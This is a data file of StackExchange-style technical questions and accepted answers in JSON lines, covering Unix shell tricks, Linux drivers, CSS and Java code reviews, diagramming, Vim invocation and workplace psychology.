{  "id": "_softwareengineering.190240"  , "question": "I heard that the context analysis diagram has different levels. I couldn't find this in .Net, but I have seen that a DFD has different levels. Do context diagrams have any levels (level0, level1, level2)? If yes, please suggest some examples."  , "title": "Do context diagrams have levels?"  , "tags": "diagrams;data flow diagram"  , "accepted_answer": "The answer depends upon what type of Context Diagram you are referring to.System Context Diagrams have a single layer only.  So the answer is No.From the Wikipedia article:This diagram is the highest level view of a system. IDEF0 Top Level Context Diagrams have a single top-level context diagram and then have optional 'child' diagrams below that.  So the answer here would be Yes.The IDEF0 process starts with the identification of the prime function to be decomposed. This function is identified on a Top Level Context Diagram, that defines the scope of the particular IDEF0 analysis. ... From this diagram lower-level diagrams are generated."  } 
{  "id": "_unix.90126"  , "question": "How do I turn off SMTP AUTH PLAIN for Citadel 8.20 on Slackware 14.0?If I set up postfix to handle SMTP would this allow me to not have SMTP auth plain enabled"  , "title": "How to disable SMTP auth plain for Citadel 8.20 on Slackware 14.0?"  , "tags": "email;slackware;smtp;slackbuilds"  } 
{  "id": "_unix.4708"  , "question": "There are 3 tiling modes in KDE: spiral, columns and floating. What does each do and how do make them work for me? For example, spiral seems to cut my screen in half then the next half another way. Is it possible to adjust it so that it's like 2/3? I don't understand how to make use of float. Perhaps someone could explain what each is for (or one for each answer) and how they can be used and tuned."  , "title": "What is the difference between the various tiling modes in KWin, and how do I use them?"  , "tags": "kde;window manager;kwin;tiling wm"  } 
{  "id": "_unix.360843"  , "question": "If for example I have compiled a simple C program that uses GTK 3 on a machine running Ubuntu, will I be able to run it on other Linux flavours?Note: My actual questions is Should I label my compiled program for Linux or just Ubuntu?eg. Should I label my downloads page asWindows    program.exeLinux    programMacintosh    program.apporWindows    program.exeUbuntu < Version 17.04    programMacintosh    program.app"  , "title": "Compiled Executable"  , "tags": "compiling;c;gtk;compatibility;software distribution"  , "accepted_answer": "Linux executables are not specific to a Linux distribution. But they are specific to a processor architecture and to a set of library versions.An executable for any operating system is specific to a processor architecture. Windows and Mac users don't care as much because these operating systems more or less only run on a single architecture. (OSX used to run on multiple processor architectures, and OSX applications were typically distributed as a bundle that contained code for all supported processor architectures, but modern OSX only runs on amd64 processors. Windows runs on both 32-bit and 64-bit Intel processors, so you might find 32-bit and 64-bit Windows executables.)Windows resolves the library dependency problem by forcing programmers to bundle all the libraries they use with their program. On Linux, it's uncommon to do this, with the benefit that programmers don't need to bundle libraries and that users get timely security updates and bug fixes for libraries, but with the cost that programs need to be compiled differently for different releases of distributions.So you should label your binary as Linux, 64-bit PC (amd64), compiled for Ubuntu 17.04 (or 32-bit PC (i386) if this is a 32-bit executable), and give the detail of the required libraries. You can see the libraries used by an executable with the ldd command: run ldd program. The part before the => is what matters, e.g. libgtk-3.so.0 is the main GTK3 library, with version 0 (if there ever was a version 1, it would be incompatible with version 0, that's the reason to change the version number). Some of these libraries are things that everyone would have anyway because they haven't changed in many years; only experience or a comparison by looking at multiple distributions and multiple releases can tell you this. Users of other distributions can run the same binary if they have compatible versions of the libraries."  } 
{  "id": "_unix.167326"  , "question": "Can we use semicolon to separate a background job from the following one?$ nohup evince tmp1.pdf &; nohup evince tmp.pdf &bash: syntax error near unexpected token `;'"  , "title": "Using semicolon to separate a background job from the following one?"  , "tags": "background process"  } 
{  "id": "_codereview.102586"  , "question": "I'm learning about using LESS and wanted to get anyone's input on if I'm using the concepts, syntax, etc. correctly.I know this might seem subjective and not the correct place to post, so please let me know if there is a more appropriate place to do this.  LESS code.centered(@position: inline, @width: 100%){    margin-left: auto;    margin-right: auto;    width: @width;    display: @position;}.table-center(@width: 100%){    width:@width;    display:table!important;    text-align:center;    &:nth-child(1) {        display:table-cell;    } }.clear-border-radius{     border-radius: initial;    -webkit-border-radius: initial;    -moz-border-radius: initial;}.shadowbox-format(@caption-font-size, @button-font-size, @shadowbox-margin) {    display: block;    position: absolute;    min-height: 85px;    width: 60%;    margin: @shadowbox-margin;    left: 20%;    .shadowbox-caption {        font-size: @caption-font-size;        .table-center;    }    .shadowbox-button-wrapper {        width: 35%;        margin: 26px auto 0;        & > a {            .clear-border-radius;            font-size: @button-font-size;        }    }}.home-slide-container{    img{        .centered(block);        height:auto;    }}.callout-header{    text-align:center;    width: auto;    margin: 40px auto 0;    border-bottom: 1px solid #9e9e9e;    padding: 0 0 30px;     @media (max-width: @screen-xs-max){         width: 90%;     }          @media (min-width: @screen-sm-min){         width: 60%;     }     span{         font-size: 24px;     }} .carousel-shadowbox {         text-transform: uppercase;         color:#000;         background-color:rgba(255,255,255,0.4);     @media (max-width: @screen-xs-max)     {         background-color: white;         opacity:1.0;          .shadowbox-caption{            .table-center;             span{                font-size: 16px;                font-weight: 100;                }         }       }     @media (min-width: @screen-sm-min)     {        .shadowbox-format(20px, 16px, -91px auto 0);     }     @media (min-width: @screen-md-min)     {         .shadowbox-format(22px, 18px, -96px auto 0);     }     @media (min-width: @screen-lg-min)     {         .shadowbox-format(24px, 20px, -102px auto 0);     }    } .callout{     position:relative;     margin-top: 5%;     img{         @media (max-width: @screen-xs-max){             margin: 0 auto;         }     }     .callout-text-container{         padding:3px;        @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max)         {            bottom:22px;         }         min-height: 200px;         .callout-title{             padding-top: 5px;             text-transform: capitalize;             font-size: 22px;             display:table;             width:100%;             text-align:center;             margin-bottom: 25px;             span{                 display: table-cell;             }         }         .callout-body{             font-size: 15px;             padding:8px;             text-align:justify;         }         .button-wrapper{             padding: 10px;             a{                 text-transform: capitalize;                 border-bottom: 4px solid #cb2b06;                 background-color: #e6431e;                .clear-border-radius;                 font-size: 16px;             }         }     } }"  , "title": "LESS CSS, including support for shadowboxes"  , "tags": "beginner;css;less css"  } 
{  "id": "_unix.165956"  , "question": "On my debian laptop I installed kernel 3.14 so I have the alx driver so my ethernet works, I originally had the 3.2 kernel (Debian 7.7). AFter installing the new kernel, gnome3 went back to the failed to start properly-mode and startx didnt find the fglrx module .(Is that a kernel compatibility issue? Can I install lower kernels than 3.14 via apt-get?"  , "title": "Kernel 3.14 not working with ATIProprietary fglrx?"  , "tags": "debian;kernel;amd;fglrx"  , "accepted_answer": "FGLRX has very poor performance (among other issues, which may include kernel compatibility issues with newer kernels). Heed my advice: You need to use the Open-Source Radeon drivers.https://wiki.debian.org/AtiHowToI'm running Kernel 3.14+ on an ATI Radeon 5770HD with the Open-Source drivers.The solution is not to downgrade your kernel. Download the Open-Source drivers via apt-get from the provided link. The XServer should pretty much take care of itself when you install the new packages."  } 
{  "id": "_webapps.22392"  , "question": "I am new to Trello and would have several tasks that I need to do regularly. Is there a way in the due date or check list to do this?"  , "title": "How can I create a recurring task in check lists?"  , "tags": "trello"  } 
{  "id": "_unix.212646"  , "question": "I know this question is not obscure, as it is asked here keep updating (and duplicated here).What I'm trying to achieve is a bit different. I don't like the idea of my prompt rewriting a file every ls I type (history -a; history -c; history -r).I would like to update the file on exit. That's easy (actually, default), but you need to append instead of rewriting:shopt -s histappendNow, when a terminal is closed, I would like to make all others that remain open to be aware of the update.I prefer to do this without checking via $PS1 on every command that I type. I think it would be better to capture some sort of signal. How would you do that? If not possible, maybe a simple cronjob?How can we solve this puzzle?"  , "title": "Update bash history on other terminals when exiting one terminal"  , "tags": "bash;shell;command history;signals"  , "accepted_answer": "Creative and involving signals, you say? OK:trap on_exit EXITtrap on_usr1 USR1on_exit() {    history -a    trap '' USR1    killall -u $USER -USR1 bash}on_usr1() {    history -n}Chuck that in .bashrc and go. This uses signals to tell every bash process to check for new history entries when another one exits. This is pretty awful, but it really works.How does it work?trap sets a signal handler for either a system signal or one of Bash's internal events. The EXIT event is any controlled termination of the shell, while USR1 is SIGUSR1, a meaningless signal we're appropriating.Whenever the shell exits, we:Append all history to the file explicitly.Disable the SIGUSR1 handler and make this shell ignore the signal.Send the signal to all running bash processes from the same user.When a SIGUSR1 arrives, we:Load all new entries from the history file into the shell's in-memory history list.Because of the way Bash handles signals, you won't actually get the new history data until you hit Enter the next time, so this doesn't do any better on that front than putting history -n into PROMPT_COMMAND. It does save reading the file constantly when nothing has happened, though, and there's no writing at all until the shell exits.There are still a couple of issues here, however. The first is that the default response to SIGUSR1 is to terminate the shell. Any other bash processes (running shell scripts, for example) will be killed. .bashrc is not loaded by non-interactive shells. Instead, a file named by BASH_ENV is loaded: you can set that variable in your environment globally to point to a file with:trap '' USR1in it to ignore the signal in them (which resolves the problem).Finally, although this does what you asked for, the ordering you get will be a bit unusual. In particular, bits of history will be repeated in different orders as they're loaded up and saved separately. That's essentially inherent in what you're asking for, but do be aware that up-arrow history becomes a lot less useful at this point. History substitutions and the like will be shared and work well, though."  } 
{  "id": "_unix.257137"  , "question": "I can break this down into two subcomponents:Why/how does this automated mounting procedure create (and destroy) it's own mounting point?Why do I have to manually create my own mount point when doing it myself (or how can I jump on the automated way of doing it)?I am not clear on the exact process that is going on when I insert a USB key into the system. I see there is a lot going on...for example, inserting an old USB2 1GB stick:[76187.152010] usb 3-6: new high-speed USB device number 18 using ehci-pci[76187.285314] usb 3-6: New USB device found, idVendor=1221, idProduct=3234[76187.285317] usb 3-6: New USB device strings: Mfr=1, Product=2, SerialNumber=3[76187.285319] usb 3-6: Product: Flash Disk[76187.285321] usb 3-6: Manufacturer: USB2.0[76187.285323] usb 3-6: SerialNumber: 100000000000099E[76187.285627] usb-storage 3-6:1.0: USB Mass Storage device detected[76187.285704] scsi host27: usb-storage 3-6:1.0[76188.285460] scsi 27:0:0:0: Direct-Access     USB2.0   Flash Disk       2.60 PQ: 0 ANSI: 2[76188.285731] sd 27:0:0:0: Attached scsi generic sg11 type 0[76188.286201] sd 27:0:0:0: [sdk] 2048000 512-byte logical blocks: (1.04 GB/1000 MiB)[76188.291250] sd 27:0:0:0: [sdk] Write Protect is off[76188.291255] sd 27:0:0:0: [sdk] Mode Sense: 0b 00 00 08[76188.292333] sd 27:0:0:0: [sdk] No Caching mode page found[76188.292337] sd 27:0:0:0: [sdk] Assuming drive cache: write through[76188.296951]  sdk: sdk1[76188.300321] sd 27:0:0:0: [sdk] Attached SCSI removable diskand that it get's mounted thusly:/dev/sdk1 on /media/madivad/5859-77E7 type vfat (rw,nosuid,nodev,uid=1000,gid=1000,shortname=mixed,dmask=0077,utf8=1,showexec,flush,uhelper=udisks2)Is it something in the automount process that creates (and later destroys) a directory for the mounting process? Am I able to identify something on the mount command line to create this directly as part of the process and later remove it on umount?Is this something that you would normally automate into a script to remember to first create and mount something and then later umount it and remove the directory? I suppose a part of the process that annoys me is that I end up leaving directories that I forget to remove, especially when I'm testing things. I would like that (for example) when I mount something:sudo mount /dev/sdk1 /mnt/usbkey1gthat if the mount point is already created and/or in use that I get a warning, but more importantly, if it's NOT there, then create it on the fly. Likewise, have it removed when I umount the key.I have Ubuntu 14.04 LTS installed in both Desktop and Server flavours.I have asked the question here as opposed to AU primarily because I am asking this independent of the actual OS and with reference to Linux generally but as it applies to me. Feel free to have this migrated to AU if it is more appropriate there.Cheers. "  , "title": "Understanding the automated mounting of USB Thumbdrive and doing it myself"  , "tags": "ubuntu;mount;usb drive"  } 
{  "id": "_cogsci.12248"  , "question": "I've recently read an article about Generation Z, early 20 year olds born after 1995 in the workforce (similar to this one). The article suggests that unlike previous generation, where ambigious goals may inspire 30 somethings to do their best work, the 20 year olds from generation Z prefer to have things broken down into a very clear chunks. An example may be in order:Compare the sales figures reportVersus: We need a sales report for investor meeting by Friday morning, get sales figures from Angela, have Bill help with graphics and verify figures with Jeff. If you are late, we will penalize you. The article continues to state that if faced with the first scenario, a 20 something would get frustrated and will start seeking another job, while more detailed information would help them rise up to the task. Why some people are uncomfortable and unproductive when faced with ambiguous or uncertain goals/challenges?"  , "title": "Why some people do not perform well with ambiguity and uncertainty?"  , "tags": "cognitive psychology;social psychology;behaviorism"  , "accepted_answer": "I'm not 100% sure if this is what you were intending to ask, because your initial opening was about generation Z (which is at the large cultural level) while on the other hand your question written in bold seemed to be geared towards the individual. I have tried incorporating both parts into this answer.In essence I could not tell between which of the two concepts in psychology you were interested in: Uncertainty Avoidance or Proactive Personality (the lack of which is what you describe).There is an intersection between the two concepts. You may start here in case  you want to look deeper into the latter.   Background to AnswerOf particular interest in this study is the macro dimension of  uncertainty avoidance measured at an individual level. Cultures high  on uncertainty avoidance are risk adverse. Individuals in these  cultures prefer stability in their lives and careers. They want their  environment to be predictable. To foster compliance among their  members, cultures high in uncertainty avoidance structure behavior  through such mechanisms as laws, religion or customs. Vague situations  are avoided in high uncertainty avoidance cultures, and group norms  and rules reduce ambiguity. Individuals tend to attach themselves to  the dominant cultural group and comply with its expectations  (Hofstede, 1980). However, there has been a suggestion in organizational research that rather than the more passive attachment  to the dominant group, some cultures actively try to reduce  uncertainty by controlling their future environment. For example,  Schneider and DeMeyer (1991) suggested that managers in high  uncertainty avoidance cultures are likely to engage in proactive  behaviors in an attempt to adapt to a dynamic environment. Geletkanycz  (1997) also found that executives who are high on uncertainty  avoidance in their cultural background seek strategic solutions that  respond to dynamic environments. That is, they engage in adaptation as a way of   reduce risk. Because of this alternative way of adapting to  uncertainty, Geletkanycz (1997) called for further research to examine  the issue that not all individuals react to risk by adhering to the  norm but rather adjust to position themselves in a safer position in  the future.Research has also identified that individuals high on uncertainty  avoidance make choices for uncertain outcomes that involve gains  (Ladbury & Hinz, 2009). For example, individuals can be induced to  volunteer for treatment in a randomly assigned process if they are  offered monetary compensation for showing up (Harrison, Lau &  Rutstrom, 2009). An individuals income can also have an influence on  uncertainty avoidance and outcomes. For example, Yang-Ming (2008)  found that as income increases, individuals high on uncertainty  avoidance were more willing to take risks.Relation between Uncertainty Avoidance and Productivity (Individual Level)In her research with business executives, Geletkanycz (1997)  hypothesized that top managers whose background cultures were high on  uncertainty avoidance would be uncomfortable with uncertainty. Because  of their need for structure, she predicted that they would be  resistant to change. They would avoid taking action to alter their  situation. However, what she found in her research was that managers  whose background cultures were high in uncertainty avoidance reduced  their feeling of uncertainty by adapting to the environment. She  surmised that in the dramatic changes related to technology and  globalization, it was safer and less risky for these executives to  adjust to the changing environment rather that inflexibly hanging on  to what is known.Relation between Uncertainty Avoidance and Productivity (Macro Level)The cultural value of uncertainty avoidance influenced whether Irish  firms were successful as compared to German firms (Rauch, Frese, &  Sonnentag, 2000). Ireland scores low on uncertainty avoidance in  contrast to Germany which is high on the value. It was found that  successful small business owners in Ireland did not plan. Rather,  customers in that culture valued flexibility and quick solutions to  problems. In contrast, German business owners were more successful  when they did plan. It was proposed by these researchers that in such  high uncertainty avoidance cultures, it was expected that individuals  engage in careful planning to reduce risk by attempting to control  future events. However, the results were more consistent with the  interpretation made by Schneider and DeMeyer (1991) in that they found  that planning is culturally appropriate, and this detailed planning  resulted in a successful relationship with customers who also valued  planning (Rauch, Frese, & Sonnentag, 2000).Primary Source:The Two Faces of Uncertainty Avoidance: Attachment and AdaptationDavid S. Baker and Kerry D. Carson University of Louisiana at LafayetteCitations within SourceCultures consequences: International differences in work-related values. Hofstede, G. (1980). Newbury Park, CA: Sage.Interpreting and responding to strategic issues: The impact of national culture.  Schneider, S. C., & DeMeyer, A. (1991). Strategic Management Journal, 12(4), 307-320.Uncertainty avoidance influences choices for potential gains but not losses.  Ladbury, J., & Hinsz, V. B. (2009). Current Psychology, 28(3), 187-193.Corporate cash holdings, uncertainty avoidance, and the multinationality of firms.  Ramirez, A., & Tadesse, S. (2009).International Business Review, 18(4), 387-403."  } 
{  "id": "_webapps.79919"  , "question": "I have a list I created and I want to add my account a member of the listed I created. I have tried looking for an answer online but can't find one. "  , "title": "How do I add my Twitter feed to my own list?"  , "tags": "twitter"  } 
{  "id": "_unix.289074"  , "question": "I'm on Ubuntu Mate 16.04 using terminator as my terminal. And using ZSH version 5.1.1. I'd rather change the keybinding to the left arrow key to emulate fish in a way. Anyone know how?"  , "title": "How to change the key for autocompletion in ZSH?"  , "tags": "zsh;keyboard shortcuts;autocomplete"  } 
{  "id": "_softwareengineering.200709"  , "question": "There are some (quite rare) cases where there is a risk of:reusing a variable which is not intended to be reused (see example 1),or using a variable instead of another, semantically close (see example 2).Example 1:var data = this.InitializeData();if (this.IsConsistent(data, this.state)){    this.ETL.Process(data); // Alters original data in a way it couldn't be used any longer.}// ...foreach (var flow in data.Flows){    // This shouldn't happen: given that ETL possibly altered the contents of `data`, it is    // not longer reliable to use `data.Flows`.}Example 2:var userSettingsFile = SettingsFiles.LoadForUser();var appSettingsFile = SettingsFiles.LoadForApp();if (someCondition){    userSettingsFile.Destroy();}userSettingsFile.ParseAndApply(); // There is a mistake here: `userSettingsFile` was maybe                                  // destroyed. It's `appSettingsFile` which should have                                  // been used instead.This risk can be mitigated by introducing a scope:Example 1:// There is no `foreach`, `if` or anything like this before `{`.{    var data = this.InitializeData();    if (this.IsConsistent(data, this.state))    {        this.ETL.Process(data);    }}// ...// A few lines later, we can't use `data.Flows`, because it doesn't exist in this scope.Example 2:{    var userSettingsFile = SettingsFiles.LoadForUser();    if (someCondition)    {        userSettingsFile.Destroy();    }}{    var appSettingsFile = SettingsFiles.LoadForApp();    // `userSettingsFile` is out of scope. There is no risk to use it instead of    // `appSettingsFile`.}Does it look wrong? Would you avoid such syntax? Is it difficult to understand by beginners?"  , "title": "Is the usage of internal scope blocks within a function bad style?"  , "tags": "c#;coding style;language features;scope"  , "accepted_answer": "If your function is so long that you cannot recognize any unwanted side effects or illegal reuse of variables any more, then it is time to split it up in smaller functions - which makes an internal scope pointless.To back this up by some personal experience: some years ago I inherited a C++ legacy project with ~150K lines of code, and it contained a few methods using exactly this technique. And guess what - all of those methods were too long. As we refactored most of that code, the methods became smaller and smaller, and I am pretty sure there are no remaining internal scope methods any more; they are simply not needed."  } 
{  "id": "_codereview.7376"  , "question": "I'm learning java, although because of work I didn't had much time to go to classes. We had a final work to do but since I'm more familiarised with python I'm not sure if I'm doing java correctly...I'm also a bit confused about attributes and constructors, I don't really understand the use of it.For this work we have to do a server class and a client class. We have 4 files, one with times (in seconds) and points for bike female and male, and others with times and points run female and male. We then have a times file where each athlete have the time (minutes) for bike and run. We need to calculate the points for each time with linear interpolation, and then sort then, to see which athlete was the best one.Where's what I've done at the server class:import java.io.File;import java.io.FileNotFoundException;import java.io.FileReader;import java.util.ArrayList;import java.util.Scanner;public class Scorer {private String bike;private String run;private ArrayList<ArrayList<Integer>> athletes;private boolean gender;public Scorer(String bikeF, String runF, ArrayList<ArrayList<Integer>> athletes) {    this.bike = bikeF;    this.run = runF;    this.athletes = athletes; }public Scorer(ArrayList<ArrayList<Integer>> athletes, boolean gender) {    this.athletes = athletes;    this.gender = gender;    if (gender == true) {        this.bike = bike + F.tab;        this.run = run + F.tab;    } else {            this.bike = bike + M.tab;        this.run = run + M.tab;    }}public int[][] valsProximos(String table, ArrayList<ArrayList<Integer>> athletes, int n)    throws FileNotFoundException {            // compare file times and points with array to find distances and points closest to calculate linear interpolation           Scanner tables = new Scanner (new FileReader(table));    int [][] tabPoints = new int [9][2];             // this case, each column has a meaning, 1 athlete 2 points (if equals) 3 athlete 4 difference between times 5 max time 6 max points 7 athlete 8 difference between times 9 min time 10 min points          int [][] values = new int [athletes.size()][10];    for (int i=0; i<tabPoints.length;i++) {        for (int j =0;j<tabPoints[0].length;j++)            tabPoints[i][j]= tables.nextInt();    }    for (int i=0; i<athletes.size(); i++) {        for (int j=0; j<tabPoints.length; j++) {            if (athletes.get(i).get(n) == tabPoints[j][0]) {                values[i][0] = athletes.get(i).get(0);                values[i][1] = tabPoints[j][1];            } else {                if (tabPoints[j][0] > athletes.get(i).get(n)) {                    // calculate difference between each time and the time in the table                    int dif = tabPoints[j][0] - athletes.get(i).get(n);                    if (values[i][2] != athletes.get(i).get(0)) {                        values[i][2] = athletes.get(i).get(0);                        values[i][3] = dif;                        values[i][4] = tabPoints[j][0]; //maxTime                        values[i][5] = tabPoints[j][1]; // maxPoint                    } else if (dif < values[i][3]) {                            values[i][3] = dif;                            values[i][4] = tabPoints[j][0];                            values[i][5] = tabPoints[j][1];                    }                 } else {                     int dif1 = athletes.get(i).get(n) - tabPoints[j][0];                    if (values[i][6] != athletes.get(i).get(0)) {                        values[i][6] = athletes.get(i).get(0);                        values[i][7] = dif1;                        values[i][8] = tabPoints[j][0]; // minTime                        values[i][9] = tabPoints[j][1]; // minPoint                    } else {                        if (dif1 < values[i][7]) {                            values[i][7] = dif1;                            values[i][8] = tabPoints[j][0];                            values[i][9] = tabPoints[j][1];                        }                    }                }               }           }    }    return values;}public double intLinear(int maxTime, int time, int minTime,         int maxPoint, int minPoint) {    // calculate points given time acRunding to linear interpolation    double intLinear = (double)(maxTime - time)/(maxTime - minTime)         * minPoint + (double)(time - minTime)/(maxTime - minTime) * maxPoint;    // round to closest number    double athletePoint = (double)Math.round(intLinear);    return athletePoint;}public int[][] Score(int [][] valBike, int [][] valRun,         ArrayList<ArrayList<Integer>> athletes) {    int [][] punctuate = new int [athletes.size()][4];    for (int i=0; i<valBike.length; i++) {        if (athletes.get(i).get(0) == valBike[i][0]){            punctuate[i][0] = athletes.get(i).get(0);            punctuate[i][1] = valBike[i][1];        } else {            int maxTime = valBike[i][4];            int time = athletes.get(i).get(1);            int minTime = valBike[i][8];            int maxPoint = valBike[i][5];            int minPoint = valBike[i][9];            double athletePoint = intLinear(maxTime, time, minTime, maxPoint, minPoint);            punctuate[i][0] = athletes.get(i).get(0);            punctuate[i][1] = (int) athletePoint;        }        if (athletes.get(i).get(0) == valRun[i][0]){            // Verify that we are inserting points at right position            //if (punctuate[i][0] == valRun[i][0]) {                punctuate[i][2] = valRun[i][1];            //}         } else {            int maxTime = valRun[i][4];            int time = athletes.get(i).get(2);            int minTime = valRun[i][8];            int maxPoint = valRun[i][5];            int minPoint = valRun[i][9];            double athletePoint = intLinear(maxTime, time, minTime, maxPoint, minPoint);            //if (punctuate[i][0] == valRun[i][2]) {                punctuate[i][2] = (int) athletePoint;            //}         }    }    for (int i=0; i<punctuate.length; i++) {        // total points        punctuate[i][3] = punctuate[i][1] + punctuate[i][2];    }return punctuate;}public int[][] ScoreF(int [][] order, int colNum) {    for (int row=0; row< order.length; row++){        for (int row2=row+1; row2<order.length; row2++){            // modify acRunding to the column we want to sort            if(order[row][colNum]<order[row2][colNum]){                for(int column=0; column<order[0].length; column++) {                       int temp = order[row][column];                    order[row][column] = order[row2][column];                    order[row2][column] = temp;                }            }        }    }    return order;}}and the client class: import java.io.BufferedWriter; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.FileWriter; import java.io.IOException; import java.io.PrintWriter; import java.util.ArrayList; import java.util.Scanner; public class DualthonProof {/** * @param args * @throws IOException  */public static void main(String[] args) throws IOException {    // ask user name of file    Scanner input= new Scanner(System.in);    System.out.println(Enter file name bike female:);    String bikeF = input.nextLine();    System.out.println(Enter file name female run:);    String runF = input.nextLine();    System.out.println(Enter file name male bike:);    String bikeM = input.nextLine();    System.out.println(Enter file name male run:);    String runM = input.nextLine();    String tabBikeF = bikeF.tab;    String tabRunF = runF.tab;    String tabBikeM = bikeM.tab;    String tabRunM = runM.tab;    // if user didn't wrote anything use file    if (bikeF.equals())         bikeF = tabBikeF;     if (runF.equals())        runF = tabRunF;     if (bikeM.equals())        bikeM = tabBikeM;     if (runM.equals())        runM = tabRunM;    Scanner ficheiro = new Scanner (new FileReader (times.txt));    // Ignore first line     ficheiro.nextLine();    ArrayList<ArrayList<Integer>> athleteF = new ArrayList<ArrayList<Integer>>();    ArrayList<ArrayList<Integer>> athleteM = new ArrayList<ArrayList<Integer>>();    while (ficheiro.hasNextLine()) {        String row = ficheiro.nextLine();        String[] section = row.split(\\t);        String[] split1 = section[2].split(:);        String[] split2 = section[3].split(:);        // Convert string to integer        int num1 = Integer.parseInt(split1[0]);        int num2 = Integer.parseInt(split1[1]);        int secsBike = num1 * 60 + num2;        int num3 = Integer.parseInt(split2[0]);        int num4 = Integer.parseInt(split2[1]);        int secsRun = num3 * 60 + num4;        if (section[1].equals(F)) {            athleteF.add(new ArrayList<Integer>());            athleteF.get(athleteF.size()-1).add(Integer.parseInt(section[0]));            athleteF.get(athleteF.size()-1).add(secsBike);            athleteF.get(athleteF.size()-1).add(secsRun);            } else if (section[1].equals(M)) {            athleteM.add(new ArrayList<Integer>());            athleteM.get(athleteM.size()-1).add(Integer.parseInt(section[0]));            athleteM.get(athleteM.size()-1).add(secsBike);            athleteM.get(athleteM.size()-1).add(secsRun);        }    }       Scorer ptsF = new Scorer(bikeF, runF, athleteF);    int [][] valBikeF = ptsF.valsProximos(bikeF, athleteF, 1);    int [][] valRunF = ptsF.valsProximos(runF, athleteF, 2);    int [][] pointingF = ptsF.Score(valBikeF, valRunF, athleteF);    int [][] sortedF = ptsF.ScoreF(pointingF, 3);} }"  , "title": "Is this correct java? Attributes and constructors especially"  , "tags": "java;homework"  , "accepted_answer": "At first sight, the biggest problem is the double generic lists, like:ArrayList<ArrayList<Integer>> athleteF = new ArrayList<ArrayList<Integer>>();It's really hard to read and error-prone, since the lots of magic numbers which indexes the array. It's easy to mix-up the indexes and hard to remember which index stores which value. Use at least constants instead of the numbers.Anyway, you should create an Athlete class which stores all data of an athlete and store Athlete objects in the list:final List<Athlete> athleteF = new ArrayList<Athlete>();public class Athlete {    // TODO: set a proper name for this field    private int someDataNeedName;    private int secsBike;    private int secsRun;    public Athlete(final int someDataNeedName, final int secsBike,             final int secsRun) {        this.someDataNeedName = someDataNeedName;        this.secsBike = secsBike;        this.secsRun = secsRun;    }    public int getSomeDataNeedName() {        return someDataNeedName;    }    public void setSomeDataNeedName(final int someDataNeedName) {        this.someDataNeedName = someDataNeedName;    }    public int getSecsBike() {        return secsBike;    }    public void setSecsBike(final int secsBike) {        this.secsBike = secsBike;    }    public int getSecsRun() {        return secsRun;    }    public void setSecsRun(final int secsRun) {        this.secsRun = secsRun;    }}This class stores its data with names (these are the names of the fields).Usage:final Athlete athlete = new Athlete(Integer.parseInt(section[0]), secsBike, secsRun);if (section[1].equals(F)) {    athleteF.add(athlete);} else if (section[1].equals(M)) {    ...}(I hope it helps a little bit and somebody has time for a complete review.)"  } 
{  "id": "_unix.57152"  , "question": "I have a list of 900 URLs. Each page contains one image. Some images are duplicates (with same URL). I want to download 900 images, including duplicates.I was able to download all pages and the embedded images (and ignored all other file types) with wget. But it seems to me that wget ignores an image when it was already downloaded before. So I had 900 pages, but only around 850 images.(How) can I tell wget to download duplicates, too? It could append _1, _2,  at the file name.My wget command: wget --input-file=urls.txt --output-file=log.txt --wait 1 --random-wait --page-requisites --exclude-domains code.jquery.com --span-hosts --reject thumbnail*.png -P downloadfolder"  , "title": "How to also download duplicate images?"  , "tags": "wget"  } 
{  "id": "_unix.19458"  , "question": "Given a commodity PC, we would like to use it to execute some tasks in the background round the clock.Basically, we would like to have commands like:add-task *insert command here*list-tasksremove-task(s)The added tasks should simply be put in a queue and executed one after another in the background (keeping running after logout of the shell).Is there any simple script/program that does this?"  , "title": "Simple queuing system?"  , "tags": "process;process management;scheduling"  , "accepted_answer": "There's a standard batch command that does more or less what you're after. More precisely, batch executes the jobs when the system load is not too high, one at a time (so it doesn't do any parallelization). The batch command is part of the at package.echo 'command1 --foo=bar' | batch      echo 'command2 $(wibble)' | batchat -q b -l              # on many OSes, a slightly shorter synonym is: atq -q bat -q b -r 1234         # Unschedule a pending task (atq gives the task ID)"  } 
{  "id": "_vi.10863"  , "question": "I would like to modify the behavior of one of my mapping but only when Vim is reading data which were piped to it by $ vipe.The mapping closes/quits the current window/session depending on certain conditions. When Vim is reading data which were piped to it, I would like the mapping to execute :cquit, so that it reports an error to the shell and the output of the shell command is not displayed in the terminal when I quit (or the rest of the pipeline is not processed).$ vipe is a shell utility, included in the moreutils package, whose man page contains this:NAME       vipe - edit pipeSYNOPSIS       command1 | vipe | command2DESCRIPTION       vipe allows you to run your editor in the middle of a unix pipeline and edit the data that is being piped       between programs. Your editor will have the full data being piped from command1 loaded into it, and when you       save, that data will be piped into command2.ENVIRONMENT VARIABLES       EDITOR           Editor to use.       VISUAL           Also supported to determine what editor to use.As an example, one could use it to count the number of files/directories in the current working directory with $ ls and $ wc -l, using Vim in the middle to interactively remove some entries:$ ls | vipe | wc -lBut, I don't know how to detect that Vim has been invoked by $ vipe.I tried to use the StdinReadPre and StdinReadPost event like this:augroup standard_input    autocmd!    autocmd StdinReadPre * nno cd :echo 'hello'<cr>    autocmd StdinReadPost * nno cd :echo 'hello'<cr>augroup ENDBut it didn't work, when hitting cd, hello was not displayed.The reason why it didn't worked is probably because Vim wasn't invoked with the - argument, because this works:$ ls | vim -And :h StdinReadPre and :h StdinReadPost seems to confirm this:                            *StdinReadPost*StdinReadPost           After reading from the stdin into the buffer,                before executing the modelines.  Only used                when the - argument was used when Vim was                started |--|.                            *StdinReadPre*StdinReadPre            Before reading from stdin into the buffer.                Only used when the - argument was used when                Vim was started |--|.I also tried to check the contents of the internal variables v:progname and v:progpath but they both report vim, not vipe.Is there a way to detect whether Vim has been invoked by another shell command (vipe, git commit, ...)?"  , "title": "How to detect whether Vim has been invoked by another shell command?"  , "tags": "autocmd;invocation;startup;quit"  , "accepted_answer": "Since vipe, git commit (and many other programs which invoke an editor) use the VISUAL and EDITOR variables (unless you specify an editor for git with git config core.editor), you can use that variable to invoke Vim in such a way that you can detect it:export EDITOR='env called=1 vim'Then, in Vim, $called will have a value of 1, which you can use to detect whether it was called by a command."  } 
